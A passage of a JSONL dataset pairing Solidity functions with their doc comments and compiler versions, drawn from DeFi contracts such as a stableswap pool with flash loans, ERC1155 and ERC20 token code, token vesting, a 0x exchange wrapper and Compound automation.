(_stake(from, amount, tokenAddress));\r\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Mints the given amount of LPToken to the recipient. During the guarded release phase, the total supply\n * and the maximum number of the tokens that a single account can mint are limited.\n * @dev only owner can call this mint function\n * @param recipient address of account to receive the tokens\n * @param amount amount of tokens to mint\n * @param merkleProof the bytes32 array data that is used to prove recipient's address exists in the merkle tree\n * stored in the allowlist contract. If the pool is not guarded, this parameter is ignored.\n */", "function_code": "function mint(\n address recipient,\n uint256 amount,\n bytes32[] calldata merkleProof\n ) external onlyOwner {\n require(amount != 0, \"amount == 0\");\n\n // If the pool is in the guarded launch phase, the following checks are done to restrict deposits.\n // 1. Check if the given merkleProof corresponds to the recipient's address in the merkle tree stored in the\n // allowlist contract. If the account has been already verified, merkleProof is ignored.\n // 2. Limit the total number of this LPToken minted to recipient as defined by the allowlist contract.\n // 3. Limit the total supply of this LPToken as defined by the allowlist contract.\n if (swap.isGuarded()) {\n IAllowlist allowlist = swap.getAllowlist();\n require(\n allowlist.verifyAddress(recipient, merkleProof),\n \"Invalid merkle proof\"\n );\n uint256 totalMinted = mintedAmounts[recipient].add(amount);\n require(\n totalMinted <= allowlist.getPoolAccountLimit(address(swap)),\n \"account deposit limit\"\n );\n require(\n totalSupply().add(amount) <=\n allowlist.getPoolCap(address(swap)),\n \"pool total supply limit\"\n );\n mintedAmounts[recipient] = totalMinted;\n }\n _mint(recipient, amount);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev mints to multiple addresses arbitrary units of tokens of ONE token id per address\n * @notice example: mint 3 units of tokenId 1 to alice and 4 units of tokenId 2 to bob\n * @param accounts list of beneficiary addresses\n * @param tokenIds list of token ids (aka tiers)\n * @param amounts list of mint amounts\n */", "function_code": "function mintToMultiple(\n address[] calldata accounts,\n uint256[] calldata tokenIds,\n uint256[] calldata amounts\n ) public onlyOwner isSameLength(accounts, tokenIds, amounts) {\n bytes memory data;\n\n for (uint256 i = 0; i < accounts.length; i++) {\n require(\n tokenTiers[tokenIds[i]].boxToken == address(0),\n \"Can mint only general tokens\"\n );\n _mint(accounts[i], tokenIds[i], amounts[i], data);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev burns from multiple addresses arbitrary units of tokens of ONE token id per address\n * example: burn 3 units of tokenId 1 from alice and 4 units of tokenId 2 froms bob\n * @param accounts list of token holder addresses\n * @param tokenIds list of token ids (aka tiers)\n * @param amounts list of burn amounts\n */", "function_code": "function burnFromMultiple(\n address[] calldata accounts,\n uint256[] calldata tokenIds,\n uint256[] calldata amounts\n ) public onlyOwner isSameLength(accounts, tokenIds, amounts) {\n for (uint256 i = 0; i < accounts.length; i++) {\n require(\n tokenTiers[tokenIds[i]].boxToken == address(0),\n \"Can burn only general tokens\"\n );\n _burn(accounts[i], tokenIds[i], amounts[i]);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev transfers tokens from one address to another allowing custom data parameter\n * @notice this is the standard transfer interface for ERC1155 tokens which contracts expect\n * @param from address from which token will be transferred\n * @param to recipient of address\n * @param id id of token to be transferred\n * @param amount amount of token to be transferred\n */", "function_code": "function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) public override {\n require(\n owner() == _msgSender() ||\n from == _msgSender() ||\n isApprovedForAll(from, _msgSender()),\n \"Unauthorized\"\n );\n _safeTransferFrom(from, to, id, amount, data);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev creates a new token tier\n * @param tokenId identifier for the new token tier\n * @param uriId identifier that is appended to the baseUri together forming the uri where the metadata lives\n * @param transferable determines if tokens from specific tier should be transferable or not\n */", "function_code": "function createTokenTier(\n uint256 tokenId,\n string memory uriId,\n bool transferable,\n address boxToken\n ) public onlyOwner isValidString(uriId) {\n require(\n _isEmptyString(tokenTiers[tokenId].uriId),\n \"Tier already exists for tokenId\"\n );\n\n tokenTiers[tokenId] = TokenTier(uriId, transferable, boxToken);\n emit TierChange(tokenId, uriId, transferable);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev update uri identifiers for multiple token ids (tiers)\n * @param tokenIds tokenIds for which the uri should be updated (must be in same order as uriIds)\n * @param uriIds identifiers that are appended to the baseUri together forming the uri where the metadata lives (must be in same order ass tokenIds)\n */", "function_code": "function updateMultipleUriIdentifiers(\n uint256[] calldata tokenIds,\n string[] calldata uriIds\n ) public onlyOwner {\n require(tokenIds.length == uriIds.length, \"Input array mismatch\");\n\n for (uint8 i = 0; i < tokenIds.length; i++) {\n _updateUriIdentifier(tokenIds[i], uriIds[i]);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Initializes this Swap contract with the given parameters.\n * This will also clone a LPToken contract that represents users'\n * LP positions. The owner of LPToken will be this contract - which means\n * only this contract is allowed to mint/burn tokens.\n *\n * @param _pooledTokens an array of ERC20s this pool will accept\n * @param decimals the decimals to use for each pooled token,\n * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS\n * @param lpTokenName the long-form name of the token to be deployed\n * @param lpTokenSymbol the short symbol for the token to be deployed\n * @param _a the amplification coefficient * n * (n - 1). See the\n * StableSwap paper for details\n * @param _fee default swap fee to be initialized with\n * @param _adminFee default adminFee to be initialized with\n * @param _withdrawFee default withdrawFee to be initialized with\n * @param lpTokenTargetAddress the address of an existing LPToken contract to use as a target\n */", "function_code": "function initialize(\n IERC20[] memory _pooledTokens,\n uint8[] memory decimals,\n string memory lpTokenName,\n string memory lpTokenSymbol,\n uint256 _a,\n uint256 _fee,\n uint256 _adminFee,\n uint256 _withdrawFee,\n address lpTokenTargetAddress\n ) public virtual override initializer {\n SwapV1.initialize(\n _pooledTokens,\n decimals,\n lpTokenName,\n lpTokenSymbol,\n _a,\n _fee,\n _adminFee,\n _withdrawFee,\n lpTokenTargetAddress\n );\n flashLoanFeeBPS = 8; // 8 bps\n protocolFeeShareBPS = 0; // 0 bps\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Borrow the specified token from this pool for this transaction only. This function will call\n * `IFlashLoanReceiver(receiver).executeOperation` and the `receiver` must return the full amount of the token\n * and the associated fee by the end of the callback transaction. If the conditions are not met, this call\n * is reverted.\n * @param receiver the address of the receiver of the token. This address must implement the IFlashLoanReceiver\n * interface and the callback function `executeOperation`.\n * @param token the protocol fee in bps to be applied on the total flash loan fee\n * @param amount the total amount to borrow in this transaction\n * @param params optional data to pass along to the callback function\n */", "function_code": "function flashLoan(\n address receiver,\n IERC20 token,\n uint256 amount,\n bytes memory params\n ) external nonReentrant {\n uint8 tokenIndex = getTokenIndex(address(token));\n uint256 availableLiquidityBefore = token.balanceOf(address(this));\n uint256 protocolBalanceBefore = availableLiquidityBefore.sub(\n swapStorage.balances[tokenIndex]\n );\n require(\n amount > 0 && availableLiquidityBefore >= amount,\n \"invalid amount\"\n );\n\n // Calculate the additional amount of tokens the pool should end up with\n uint256 amountFee = amount.mul(flashLoanFeeBPS).div(10000);\n // Calculate the portion of the fee that will go to the protocol\n uint256 protocolFee = amountFee.mul(protocolFeeShareBPS).div(10000);\n require(amountFee > 0, \"amount is small for a flashLoan\");\n\n // Transfer the requested amount of tokens\n token.safeTransfer(receiver, amount);\n\n // Execute callback function on receiver\n IFlashLoanReceiver(receiver).executeOperation(\n address(this),\n address(token),\n amount,\n amountFee,\n params\n );\n\n uint256 availableLiquidityAfter = token.balanceOf(address(this));\n require(\n availableLiquidityAfter >= availableLiquidityBefore.add(amountFee),\n \"flashLoan fee is not met\"\n );\n\n swapStorage.balances[tokenIndex] = availableLiquidityAfter\n .sub(protocolBalanceBefore)\n .sub(protocolFee);\n emit FlashLoan(receiver, tokenIndex, amount, amountFee, protocolFee);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Updates the flash loan fee parameters. This function can only be called by the owner.\n * @param newFlashLoanFeeBPS the total fee in bps to be applied on future flash loans\n * @param newProtocolFeeShareBPS the protocol fee in bps to be applied on the total flash loan fee\n */", "function_code": "function setFlashLoanFees(\n uint256 newFlashLoanFeeBPS,\n uint256 newProtocolFeeShareBPS\n ) external onlyOwner {\n require(\n newFlashLoanFeeBPS > 0 &&\n newFlashLoanFeeBPS <= MAX_BPS &&\n newProtocolFeeShareBPS <= MAX_BPS,\n \"fees are not in valid range\"\n );\n flashLoanFeeBPS = newFlashLoanFeeBPS;\n protocolFeeShareBPS = newProtocolFeeShareBPS;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Checks the existence of keccak256(account) as a node in the merkle tree inferred by the merkle root node\n * stored in this contract. Pools should use this function to check if the given address qualifies for depositing.\n * If the given account has already been verified with the correct merkleProof, this function will return true when\n * merkleProof is empty. The verified status will be overwritten if the previously verified user calls this function\n * with an incorrect merkleProof.\n * @param account address to confirm its existence in the merkle tree\n * @param merkleProof data that is used to prove the existence of given parameters. This is generated\n * during the creation of the merkle tree. Users should retrieve this data off-chain.\n * @return a boolean value that corresponds to whether the address with the proof has been verified in the past\n * or if they exist in the current merkle tree.\n */", "function_code": "function verifyAddress(address account, bytes32[] calldata merkleProof)\n external\n override\n returns (bool)\n {\n if (merkleProof.length != 0) {\n // Verify the account exists in the merkle tree via the MerkleProof library\n bytes32 node = keccak256(abi.encodePacked(account));\n if (MerkleProof.verify(merkleProof, merkleRoot, node)) {\n verified[account] = true;\n return true;\n }\n }\n return verified[account];\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Return A in its raw precision\n * @dev See the StableSwap paper for details\n * @param self Swap struct to read from\n * @return A parameter in its raw precision form\n */", "function_code": "function _getAPrecise(SwapUtilsV1.Swap storage self)\n internal\n view\n returns (uint256)\n {\n uint256 t1 = self.futureATime; // time when ramp is finished\n uint256 a1 = self.futureA; // final A value when ramp is finished\n\n if (block.timestamp < t1) {\n uint256 t0 = self.initialATime; // time when ramp is started\n uint256 a0 = self.initialA; // initial A value when ramp is started\n if (a1 > a0) {\n // a0 + (a1 - a0) * (block.timestamp - t0) / (t1 - t0)\n return\n a0.add(\n a1.sub(a0).mul(block.timestamp.sub(t0)).div(t1.sub(t0))\n );\n } else {\n // a0 - (a0 - a1) * (block.timestamp - t0) / (t1 - t0)\n return\n a0.sub(\n a0.sub(a1).mul(block.timestamp.sub(t0)).div(t1.sub(t0))\n );\n }\n } else {\n return a1;\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Start ramping up or down A parameter towards given futureA_ and futureTime_\n * Checks if the change is too rapid, and commits the new A value only when it falls under\n * the limit range.\n * @param self Swap struct to update\n * @param futureA_ the new A to ramp towards\n * @param futureTime_ timestamp when the new A should be reached\n */", "function_code": "function rampA(\n SwapUtilsV1.Swap storage self,\n uint256 futureA_,\n uint256 futureTime_\n ) external {\n require(\n block.timestamp >= self.initialATime.add(1 days),\n \"Wait 1 day before starting ramp\"\n );\n require(\n futureTime_ >= block.timestamp.add(MIN_RAMP_TIME),\n \"Insufficient ramp time\"\n );\n require(\n futureA_ > 0 && futureA_ < MAX_A,\n \"futureA_ must be > 0 and < MAX_A\"\n );\n\n uint256 initialAPrecise = _getAPrecise(self);\n uint256 futureAPrecise = futureA_.mul(A_PRECISION);\n\n if (futureAPrecise < initialAPrecise) {\n require(\n futureAPrecise.mul(MAX_A_CHANGE) >= initialAPrecise,\n \"futureA_ is too small\"\n );\n } else {\n require(\n futureAPrecise <= initialAPrecise.mul(MAX_A_CHANGE),\n \"futureA_ is too large\"\n );\n }\n\n self.initialA = initialAPrecise;\n self.futureA = futureAPrecise;\n self.initialATime = block.timestamp;\n self.futureATime = futureTime_;\n\n emit RampA(\n initialAPrecise,\n futureAPrecise,\n block.timestamp,\n futureTime_\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Stops ramping A immediately. Once this function is called, rampA()\n * cannot be called for another 24 hours\n * @param self Swap struct to update\n */", "function_code": "function stopRampA(SwapUtilsV1.Swap storage self) external {\n require(self.futureATime > block.timestamp, \"Ramp is already stopped\");\n\n uint256 currentA = _getAPrecise(self);\n self.initialA = currentA;\n self.futureA = currentA;\n self.initialATime = block.timestamp;\n self.futureATime = block.timestamp;\n\n emit StopRampA(currentA, block.timestamp);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Transfer tokens to multiple addresses\r\n * @param _addresses The addresses that will receieve tokens\r\n * @param _amounts The quantity of tokens that will be transferred\r\n * @return True if the tokens are transferred correctly\r\n */", "function_code": "function transferForMultiAddresses(address[] _addresses, uint256[] _amounts) canTransfer public returns (bool) {\r\n for (uint256 i = 0; i < _addresses.length; i++) {\r\n require(_addresses[i] != address(0));\r\n require(_amounts[i] <= balances[msg.sender]);\r\n require(_amounts[i] > 0);\r\n\r\n // SafeMath.sub will throw if there is not enough balance.\r\n balances[msg.sender] = balances[msg.sender].sub(_amounts[i]);\r\n balances[_addresses[i]] = balances[_addresses[i]].add(_amounts[i]);\r\n Transfer(msg.sender, _addresses[i], _amounts[i]);\r\n }\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\n * @notice Migrates saddle LP tokens from a pool to another\n * @param oldPoolAddress pool address to migrate from\n * @param amount amount of LP tokens to migrate\n * @param minAmount of new LP tokens to receive\n */", "function_code": "function migrate(\n address oldPoolAddress,\n uint256 amount,\n uint256 minAmount\n ) external returns (uint256) {\n // Check\n MigrationData memory mData = migrationMap[oldPoolAddress];\n require(\n address(mData.oldPoolLPTokenAddress) != address(0),\n \"migration is not available\"\n );\n\n // Interactions\n // Transfer old LP token from the caller\n mData.oldPoolLPTokenAddress.safeTransferFrom(\n msg.sender,\n address(this),\n amount\n );\n\n // Remove liquidity from the old pool\n uint256[] memory amounts = ISwap(oldPoolAddress).removeLiquidity(\n amount,\n new uint256[](mData.underlyingTokens.length),\n MAX_UINT256\n );\n // Add acquired liquidity to the new pool\n uint256 mintedAmount = ISwap(mData.newPoolAddress).addLiquidity(\n amounts,\n minAmount,\n MAX_UINT256\n );\n\n // Transfer new LP Token to the caller\n mData.newPoolLPTokenAddress.safeTransfer(msg.sender, mintedAmount);\n\n emit Migrate(msg.sender, oldPoolAddress, amount, mintedAmount);\n return mintedAmount;\n }", "version": "0.6.12"} {"comment": "// in case DegenSwap launches new router V2", "function_code": "function changeRouter(address _newRouter, uint256 _fees) public onlyOwner() {\r\n degenSwapRouter = IDEGENSwapRouter(_newRouter);\r\n WETH = degenSwapRouter.WETH();\r\n // Create a uniswap pair for this new token\r\n degenSwapPair = IDEGENSwapFactory(degenSwapRouter.factory())\r\n .createPair(address(this), WETH);\r\n // Set base token in the pair as WETH, which acts as the tax token\r\n IDEGENSwapPair(degenSwapPair).setBaseToken(WETH);\r\n IDEGENSwapPair(degenSwapPair).updateTotalFee(_fees);\r\n }", "version": "0.8.9"} {"comment": "//Owner of all the tokens\n//\n// CHANGE THESE VALUES FOR YOUR TOKEN\n//\n//make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token", "function_code": "function CryptFillToken(\r\n ) {\r\n balances[msg.sender] = 30000000 * 1000000000000000000; // Give the creator all initial tokens (100000 for example)\r\n totalSupply = 30000000 * 1000000000000000000; // Update total supply (100000 for example)\r\n name = \"CryptFillCoin\"; // Set the name for display purposes\r\n decimals = 18; // Amount of decimals for display purposes\r\n symbol = \"CFC\"; // Set the symbol for display purposes\r\n owner = msg.sender; // Set the symbol for display purposes\r\n }", "version": "0.4.24"} {"comment": "/// @notice Will allow multiple minting within a single call to save gas.\n/// @param _to_list A list of addresses to mint for.\n/// @param _values The list of values for each respective `_to` address.", "function_code": "function airdropMinting(address[] _to_list, uint[] _values) public {\r\n require(msg.sender == owner); // assuming you have a contract owner\r\n require(_to_list.length == _values.length);\r\n for (uint i = 0; i < _to_list.length; i++) {\r\n mintToken(_to_list[i], _values[i]);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Withdraw asset.\r\n * @param _assetAddress Asset to be withdrawn.\r\n */", "function_code": "function withdraw(address _assetAddress) public onlyOwner {\r\n uint assetBalance;\r\n if (_assetAddress == ETHER) {\r\n address self = address(this); // workaround for a possible solidity bug\r\n assetBalance = self.balance;\r\n msg.sender.transfer(assetBalance);\r\n } else {\r\n assetBalance = IERC20(_assetAddress).balanceOf(address(this));\r\n IERC20(_assetAddress).safeTransfer(msg.sender, assetBalance);\r\n }\r\n emit LogWithdraw(msg.sender, _assetAddress, assetBalance);\r\n }", "version": "0.6.12"} {"comment": "// Buy Index and return to user (no flash loans) - Same as flashSellIndex but send user the token", "function_code": "function obtainIndexTokens(address _index, uint256 amountIndexToBuy, address pairAddress) public payable {\r\n (uint256 totalEthNeeded, uint256[] memory tokenAmounts, address[] memory tokens) = calculatePositionsNeededToBuyIndex(_index, amountIndexToBuy);\r\n require(msg.value >= totalEthNeeded, \"did not send enough ether\");\r\n\r\n IWETH(WETH).deposit{value: totalEthNeeded}();\r\n\r\n acquireTokensOfSet(tokens, tokenAmounts);\r\n\r\n\r\n issueSetToken(_index, amountIndexToBuy, msg.sender);\r\n\r\n if(address(this).balance > 0) msg.sender.transfer(address(this).balance);\r\n }", "version": "0.6.12"} {"comment": "// Loan WETH and trade for individual parts, then redeem and sell Index (will trigger executeOperation);", "function_code": "function flashSellIndex(address _index, uint256 amountIndexToSell, address pairAddress) internal {\r\n // Second calculate amount of ETH needed to get individual tokens\r\n (uint256 totalEthNeeded, uint256[] memory tokenAmounts, address[] memory tokens) = calculatePositionsNeededToBuyIndex(_index, amountIndexToSell);\r\n\r\n // Wrap Ether\r\n if(address(this).balance > 0) IWETH(WETH).deposit{value: address(this).balance}();\r\n\r\n acquireTokensOfSet(tokens, tokenAmounts);\r\n bytes memory data = abi.encode(_index, amountIndexToSell, tokenAmounts, tokens);\r\n\r\n //\u00a0Third get Flash Loan, and execute rest once funds are received from aave (executeOperation) \r\n ILendingPool lendingPool = ILendingPool(addressesProvider.getLendingPool());\r\n lendingPool.flashLoan(address(this), 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, totalEthNeeded, data);\r\n }", "version": "0.6.12"} {"comment": "// Loan Index and Sell for Individual Parts", "function_code": "function flashBuyIndex(address _index, uint256 amountIndexToBuy, address pairAddress) internal returns (address t0, address t1, uint256 a0, uint256 a1) {\r\n \r\n bytes memory data = abi.encode(_index, amountIndexToBuy, pairAddress);\r\n\r\n address token0 = IUniswapV2Pair(pairAddress).token0();\r\n address token1 = IUniswapV2Pair(pairAddress).token1();\r\n uint amount0Out = _index == token0 ? amountIndexToBuy : 0;\r\n uint amount1Out = _index == token1 ? amountIndexToBuy : 0;\r\n\r\n IUniswapV2Pair(pairAddress).swap(amount0Out, amount1Out, address(this), data);\r\n\r\n return (token0, token1, amount0Out, amount1Out);\r\n }", "version": "0.6.12"} {"comment": "// computes the direction and magnitude of the profit-maximizing trade\n// https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/examples/ExampleSwapToPrice.sol", "function_code": "function computeProfitMaximizingTrade(\r\n uint256 truePriceTokenA,\r\n uint256 truePriceTokenB,\r\n uint256 reserveA,\r\n uint256 reserveB\r\n ) private pure returns (bool aToB, uint256 amountIn) {\r\n aToB = reserveA.mul(truePriceTokenB) / reserveB < truePriceTokenA;\r\n\r\n uint256 invariant = reserveA.mul(reserveB);\r\n\r\n uint256 leftSide = Babylonian.sqrt(\r\n invariant.mul(aToB ? truePriceTokenA : truePriceTokenB).mul(1000) /\r\n uint256(aToB ? truePriceTokenB : truePriceTokenA).mul(997)\r\n );\r\n uint256 rightSide = (aToB ? reserveA.mul(1000) : reserveB.mul(1000)) / 997;\r\n\r\n // compute the amount that must be sent to move the price to the profit-maximizing price\r\n amountIn = leftSide.sub(rightSide);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * distribute token for team, marketing, foundation, ...\r\n */", "function_code": "function _genesisDistributeAndLock() internal {\r\n address seedAddress = 0x43AedAdE0066A57247D8D8D45424E2AcaA9aEB70;\r\n address privateSaleAddress = 0xb0438dcd547653E5B651d09e279A10F5a5C0dad6;\r\n address presaleAddress = 0x2285dF9ffeb3Bd2d12147438C3b7D8a680Be8B49;\r\n address publicsaleAddress = 0x82Fa77dBA44b0b5bB4285d2b8dc495F5EFe38a50;\r\n address teamAddress = 0x4234f7E49306db385467b8c34Dca8126ebf99D9F;\r\n address rewardsAddress = 0xEd63440C8b4201472630ae73bC6290598010F2E5;\r\n address foundationAddress = 0x7D95666BfaEa4e64430C6B692B73755E87685acA;\r\n address marketingAddress = 0xb83ee3dD3B67DD7fC2f8a46837542f0203386E22;\r\n address liquidityAddress = 0x1cd5B0a4aB410313370eb6b0B5cD081CAD2Fa89c;\r\n address reserveAddress = 0x0e6593d0d2B1C3aFd627ce7136672D34648dEd7F;\r\n\r\n // distribute for ecosystem and stacking\r\n _distributeAndLockToken(500, token4Seed, seedAddress, 791, 90 days, 30 days);\r\n _distributeAndLockToken(500, token4PrivateSale, privateSaleAddress, 1055, 90 days, 30 days);\r\n _distributeAndLockToken(0, token4PreSale, presaleAddress, 2000, 10 days, 30 days);\r\n _distributeAndLockToken(2000, token4PublicSale, publicsaleAddress, 1333, 30 days, 30 days);\r\n _distributeAndLockToken(0, token4Team, teamAddress, 500, 365 days, 30 days);\r\n _distributeAndLockToken(0, token4Rewards, rewardsAddress, 500, 30 days, 30 days);\r\n _distributeAndLockToken(100, token4Foundation, foundationAddress, 450, 90 days, 30 days);\r\n _distributeAndLockToken(0, token4Marketing, marketingAddress, 300, 15 days, 30 days);\r\n _distributeAndLockToken(100, token4Liquidity, liquidityAddress, 500, 30 days, 30 days);\r\n _distributeAndLockToken(100, token4Reserve, reserveAddress, 500, 90 days, 30 days);\r\n }", "version": "0.8.7"} {"comment": "/// @notice Only monitor contract is able to call execute on users proxy\n/// @param _owner Address of cdp owner (users DSProxy address)\n/// @param _compoundSaverProxy Address of CompoundSaverProxy\n/// @param _data Data to send to CompoundSaverProxy", "function_code": "function callExecute(address _owner, address _compoundSaverProxy, bytes memory _data) public payable onlyMonitor {\r\n // execute reverts if calling specific method fails\r\n DSProxyInterface(_owner).execute{value: msg.value}(_compoundSaverProxy, _data);\r\n\r\n // return if anything left\r\n if (address(this).balance > 0) {\r\n msg.sender.transfer(address(this).balance);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @notice Internal method that preforms a sell on 0x/on-chain\n/// @dev Usefull for other DFS contract to integrate for exchanging\n/// @param exData Exchange data struct\n/// @return (address, uint) Address of the wrapper used and destAmount", "function_code": "function _sell(ExchangeData memory exData) internal returns (address, uint) {\r\n\r\n address wrapper;\r\n uint swapedTokens;\r\n bool success;\r\n uint tokensLeft = exData.srcAmount;\r\n\r\n // if selling eth, convert to weth\r\n if (exData.srcAddr == KYBER_ETH_ADDRESS) {\r\n exData.srcAddr = ethToWethAddr(exData.srcAddr);\r\n TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)();\r\n }\r\n\r\n // Try 0x first and then fallback on specific wrapper\r\n if (exData.price0x > 0) {\r\n approve0xProxy(exData.srcAddr, exData.srcAmount);\r\n\r\n uint ethAmount = getProtocolFee(exData.srcAddr, exData.srcAmount);\r\n (success, swapedTokens, tokensLeft) = takeOrder(exData, ethAmount, ActionType.SELL);\r\n\r\n if (success) {\r\n wrapper = exData.exchangeAddr;\r\n }\r\n }\r\n\r\n // fallback to desired wrapper if 0x failed\r\n if (!success) {\r\n swapedTokens = saverSwap(exData, ActionType.SELL);\r\n wrapper = exData.wrapper;\r\n }\r\n\r\n require(getBalance(exData.destAddr) >= wmul(exData.minPrice, exData.srcAmount), \"Final amount isn't correct\");\r\n\r\n // if anything is left in weth, pull it to user as eth\r\n if (getBalance(WETH_ADDRESS) > 0) {\r\n TokenInterface(WETH_ADDRESS).withdraw(\r\n TokenInterface(WETH_ADDRESS).balanceOf(address(this))\r\n );\r\n }\r\n\r\n return (wrapper, swapedTokens);\r\n }", "version": "0.6.12"} {"comment": "/// @notice Takes order from 0x and returns bool indicating if it is successful\n/// @param _exData Exchange data\n/// @param _ethAmount Ether fee needed for 0x order", "function_code": "function takeOrder(\r\n ExchangeData memory _exData,\r\n uint256 _ethAmount,\r\n ActionType _type\r\n ) private returns (bool success, uint256, uint256) {\r\n\r\n // write in the exact amount we are selling/buing in an order\r\n if (_type == ActionType.SELL) {\r\n writeUint256(_exData.callData, 36, _exData.srcAmount);\r\n } else {\r\n writeUint256(_exData.callData, 36, _exData.destAmount);\r\n }\r\n\r\n if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isNonPayableAddr(_exData.exchangeAddr)) {\r\n _ethAmount = 0;\r\n }\r\n\r\n uint256 tokensBefore = getBalance(_exData.destAddr);\r\n\r\n if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isZrxAddr(_exData.exchangeAddr)) {\r\n (success, ) = _exData.exchangeAddr.call{value: _ethAmount}(_exData.callData);\r\n } else {\r\n success = false;\r\n }\r\n\r\n uint256 tokensSwaped = 0;\r\n uint256 tokensLeft = _exData.srcAmount;\r\n\r\n if (success) {\r\n // check to see if any _src tokens are left over after exchange\r\n tokensLeft = getBalance(_exData.srcAddr);\r\n\r\n // convert weth -> eth if needed\r\n if (_exData.destAddr == KYBER_ETH_ADDRESS) {\r\n TokenInterface(WETH_ADDRESS).withdraw(\r\n TokenInterface(WETH_ADDRESS).balanceOf(address(this))\r\n );\r\n }\r\n\r\n // get the current balance of the swaped tokens\r\n tokensSwaped = getBalance(_exData.destAddr) - tokensBefore;\r\n }\r\n\r\n return (success, tokensSwaped, tokensLeft);\r\n }", "version": "0.6.12"} {"comment": "/// @notice Calls wraper contract for exchage to preform an on-chain swap\n/// @param _exData Exchange data struct\n/// @param _type Type of action SELL|BUY\n/// @return swapedTokens For Sell that the destAmount, for Buy thats the srcAmount", "function_code": "function saverSwap(ExchangeData memory _exData, ActionType _type) internal returns (uint swapedTokens) {\r\n require(SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.wrapper), \"Wrapper is not valid\");\r\n\r\n uint ethValue = 0;\r\n\r\n ERC20(_exData.srcAddr).safeTransfer(_exData.wrapper, _exData.srcAmount);\r\n\r\n if (_type == ActionType.SELL) {\r\n swapedTokens = ExchangeInterfaceV2(_exData.wrapper).\r\n sell{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.srcAmount);\r\n } else {\r\n swapedTokens = ExchangeInterfaceV2(_exData.wrapper).\r\n buy{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.destAmount);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @notice Calculates protocol fee\n/// @param _srcAddr selling token address (if eth should be WETH)\n/// @param _srcAmount amount we are selling", "function_code": "function getProtocolFee(address _srcAddr, uint256 _srcAmount) internal view returns(uint256) {\r\n // if we are not selling ETH msg value is always the protocol fee\r\n if (_srcAddr != WETH_ADDRESS) return address(this).balance;\r\n\r\n // if msg value is larger than srcAmount, that means that msg value is protocol fee + srcAmount, so we subsctract srcAmount from msg value\r\n // we have an edge case here when protocol fee is higher than selling amount\r\n if (address(this).balance > _srcAmount) return address(this).balance - _srcAmount;\r\n\r\n // if msg value is lower than src amount, that means that srcAmount isn't included in msg value, so we return msg value\r\n return address(this).balance;\r\n }", "version": "0.6.12"} {"comment": "/// @notice Bots call this method to repay for user when conditions are met\n/// @dev If the contract ownes gas token it will try and use it for gas price reduction\n/// @param _exData Exchange data\n/// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress]\n/// @param _user The actual address that owns the Compound position", "function_code": "function repayFor(\r\n SaverExchangeCore.ExchangeData memory _exData,\r\n address[2] memory _cAddresses, // cCollAddress, cBorrowAddress\r\n address _user\r\n ) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) {\r\n\r\n (bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _user);\r\n require(isAllowed); // check if conditions are met\r\n\r\n uint256 gasCost = calcGasCost(REPAY_GAS_COST);\r\n\r\n compoundMonitorProxy.callExecute{value: msg.value}(\r\n _user,\r\n compoundFlashLoanTakerAddress,\r\n abi.encodeWithSignature(\r\n \"repayWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256)\",\r\n _exData,\r\n _cAddresses,\r\n gasCost\r\n )\r\n );\r\n\r\n (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _user);\r\n require(isGoodRatio); // check if the after result of the actions is good\r\n\r\n returnEth();\r\n\r\n logger.Log(address(this), _user, \"AutomaticCompoundRepay\", abi.encode(ratioBefore, ratioAfter));\r\n }", "version": "0.6.12"} {"comment": "/// @notice Checks if Boost/Repay could be triggered for the CDP\n/// @dev Called by MCDMonitor to enforce the min/max check\n/// @param _method Type of action to be called\n/// @param _user The actual address that owns the Compound position\n/// @return Boolean if it can be called and the ratio", "function_code": "function canCall(Method _method, address _user) public view returns(bool, uint) {\r\n bool subscribed = subscriptionsContract.isSubscribed(_user);\r\n CompoundSubscriptions.CompoundHolder memory holder = subscriptionsContract.getHolder(_user);\r\n\r\n // check if cdp is subscribed\r\n if (!subscribed) return (false, 0);\r\n\r\n // check if boost and boost allowed\r\n if (_method == Method.Boost && !holder.boostEnabled) return (false, 0);\r\n\r\n uint currRatio = getSafetyRatio(_user);\r\n\r\n if (_method == Method.Repay) {\r\n return (currRatio < holder.minRatio, currRatio);\r\n } else if (_method == Method.Boost) {\r\n return (currRatio > holder.maxRatio, currRatio);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @dev After the Boost/Repay check if the ratio doesn't trigger another call\n/// @param _method Type of action to be called\n/// @param _user The actual address that owns the Compound position\n/// @return Boolean if the recent action preformed correctly and the ratio", "function_code": "function ratioGoodAfter(Method _method, address _user) public view returns(bool, uint) {\r\n CompoundSubscriptions.CompoundHolder memory 